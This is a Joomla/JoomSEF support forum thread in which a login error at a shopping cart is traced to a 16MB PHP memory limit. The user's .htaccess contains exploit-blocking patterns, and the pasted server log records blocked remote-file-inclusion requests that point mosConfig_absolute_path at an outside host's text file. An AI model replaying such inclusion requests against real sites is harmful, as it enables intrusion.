Menu Content

Podpora

> Diskusní fóra, FAQs & placená podpora
Welcome, Guest
Username Password: Remember me

Login at Cart causes 500 - Internal Server Error
(1 viewing) (1) Guest
Support forum for users using free edition of JoomSEF 3 (Joomla 1.5 compatible). These forums are mainly for mutual help between users.

Please note that due to our capacity limitations, we do not monitor these forums regularly.
  • Page:
  • 1

TOPIC: Login at Cart causes 500 - Internal Server Error

Login at Cart causes 500 - Internal Server Error 15 years, 1 month ago #8946

Sirs,

Every time I test my cart with Artio JoomSEF enabled, when I get as far as the login screen, when I try to login, I get a white page which says that there has been an internal server error. I have checked my .htaccess file and it seems to be ok. When I disable Artio JoomSEF, the error does not occur.

Any suggestion??


My .htaccess file is as follows

##
# @version $Id: htaccess.txt 5975 2006-12-11 01:26:33Z robs $
# @package Joomla
# @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
# @license www.gnu.org/copyleft/gpl.html GNU/GPL
# Joomla! is Free Software
##


#####################################################
# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE
#
# The line just below this section: 'Options +FollowSymLinks' may cause problems
# with some server configurations. It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file. If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your sef url's. If they work,
# it has been set by your server administrator and you do not need it set here.
#
# Only use one of the two SEF sections that follow. Lines that can be uncommented
# (and thus used) have only one #. Lines with two #'s should not be uncommented
# In the section that you don't use, all lines should start with #
#
# For Standard SEF, use the standard SEF section. You can comment out
# all of the RewriteCond lines and reduce your server's load if you
# don't have directories in your root named 'component' or 'content'
#
# If you are using a 3rd Party SEF or the Core SEF solution
# uncomment all of the lines in the '3rd Party or Core SEF' section
#
#####################################################

##### SOLVING PROBLEMS WITH COMPONENT URL's that don't work #####
# SPECIAL NOTE FOR SMF USERS WHEN SMF IS INTEGRATED AND BRIDGED
# OR ANY SITUATION WHERE A COMPONENT's URL's AREN't WORKING
#
# In both the 'Standard SEF', and '3rd Party or Core SEF' sections the line:
# RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
# May need to be uncommented. If you are running your Joomla!/Mambo from
# a subdirectory the name of the subdirectory will need to be inserted into this
# line. For example, if your Joomla!/Mambo is in a subdirectory called '/test/',
# change this:
# RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
# to this:
# RewriteCond %{REQUEST_URI} ^(/test/component/option,com) [NC,OR] ##optional - see notes##
#
#####################################################


## Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

#
# mod_rewrite in use

RewriteEngine On


# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla!/MamboDirectory (just / for root)

# RewriteBase /


########## Begin - Joomla! core SEF Section
############# Use this section if using ONLY Joomla! core SEF
## ALL (RewriteCond) lines in this section are only required if you actually
## have directories named 'content' or 'component' on your server
## If you do not have directories with these names, comment them out.
#
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
#RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
RewriteCond %{REQUEST_URI} (/|\.htm|\.php|\.html|/[^.]*)$ [NC]
RewriteRule ^(content/|component/) index.php
#
########## End - Joomla! core SEF Section



########## Begin - 3rd Party SEF Section
############# Use this section if you are using a 3rd party (Non Joomla! core) SEF extension - e.g. OpenSEF, 404_SEF, 404SEFx, SEF Advance, etc
#
RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
RewriteCond %{REQUEST_URI} (/|\.htm|\.php|\.html|/[^.]*)$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule (.*) index.php
#
########## End - 3rd Party SEF Section



########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
#
########## End - Rewrite rules to block out some common exploits

Re:Login at Cart causes 500 - Internal Server Error 15 years, 1 month ago #8999

  • jaku
Hello,

if that occurs only when trying to loggin, then most likely it is most likely not really an Internet Server Error (500), but maybe some PHP related error, such as parsing error and similar. (500 error shows up usually for whole page, so nothing works then - especially when error is in .htaccess, so if there would be error, you would not even get to login screen)

Please, try to check webserver logs and post any errors you find there.

Re:Login at Cart causes 500 - Internal Server Error 15 years, 1 month ago #9001

So I try to login as a user at 12.10pm. I get the 500 error page. The log file looks like

[Wed Nov 11 06:24:57 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 6144 bytes)
[Wed Nov 11 06:24:57 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 07:26:13 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 6144 bytes)
[Wed Nov 11 07:26:13 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 08:13:05 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 6144 bytes)
[Wed Nov 11 08:13:05 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 08:47:20 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 40 bytes)
[Wed Nov 11 08:47:20 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 09:14:21 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 6144 bytes)
[Wed Nov 11 09:14:21 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 09:34:00 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 6144 bytes)
[Wed Nov 11 09:34:00 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 10:09:02 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 23 bytes)
[Wed Nov 11 10:09:02 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 10:22:15 2009] [error] [client 77.88.24.28] Allowed memory size of 16777216 bytes exhausted (tried to allocate 6144 bytes)
[Wed Nov 11 10:22:15 2009] [error] [client 77.88.24.28] Premature end of script headers: php-script
[Wed Nov 11 10:26:32 2009] [error] [client 94.198.53.208] mod_security: Access denied with code 403. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "www.nav-e-gate4less.co.uk"] [uri "/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.abruzzobooking.it/mambots/idxx.txt???"]
[Wed Nov 11 10:34:47 2009] [error] [client 94.198.53.208] mod_security: Access denied with code 403. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "nav-e-gate4less.co.uk"] [uri "/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.abruzzobooking.it/mambots/idxx.txt???"]
[Wed Nov 11 10:43:11 2009] [error] [client 77.88.24.28] File does not exist: /home/virtual/site231/fst/var/www/html/Joomla_V1_5/faqs
[Wed Nov 11 10:55:17 2009] [error] [client 141.11.244.1] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/guide-to-gps-handheld-units.html
[Wed Nov 11 12:01:24 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:01:38 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:01:42 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:01:46 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:01:51 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:01:59 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:02:08 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:02:19 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:03:24 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:03:36 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:09:52 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:09:58 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:10:02 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:10:08 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/templates/nav-e-gate4less/images/main_bg.gif, referer: www.nav-e-gate4less.co.uk/templates/nav-...css/template_css.css
[Wed Nov 11 12:10:19 2009] [error] [client 88.106.225.124] Allowed memory size of 16777216 bytes exhausted (tried to allocate 4096 bytes), referer: www.nav-e-gate4less.co.uk/index.php?opti...ted=1&Itemid=256
[Wed Nov 11 12:10:19 2009] [error] [client 88.106.225.124] Premature end of script headers: php-script, referer: www.nav-e-gate4less.co.uk/index.php?opti...ted=1&Itemid=256
[Wed Nov 11 12:10:23 2009] [error] [client 88.106.225.124] File does not exist: /home/virtual/site231/fst/var/www/html/favicon.ico

Why would the max memory size be exceeded??

I have also noticed that you can login successfully when you use the login form on the home page, so why can't you login at the cart screen??

Re:Login at Cart causes 500 - Internal Server Error 15 years, 1 month ago #9002

I looked at the logs and it seemed that the max memory size was being exceeded, so I asked my hosting company to increase the max memory size to 32M, and it appears to be working now!

Re:Login at Cart causes 500 - Internal Server Error 15 years, 1 month ago #9003

  • jaku
Good.
Next time time, it is always best to check the logs first.

16M is really very small limit. Joomla is quite complex system and with every component and add-on the memory resources. Normally, a common Joomla site requires a memory limit between 32-64MB. In some cases - components woring with large ammounts of data or complex sites including too many components/module maybe need even 128M. (this does not mean the whole ammout of memory is used all the time, but what is the peak limiti - e.g. when exporting orders, logs, etc.)
Last Edit: 15 years, 1 month ago by .
  • Page:
  • 1
Přihlášení uživatele Prázdný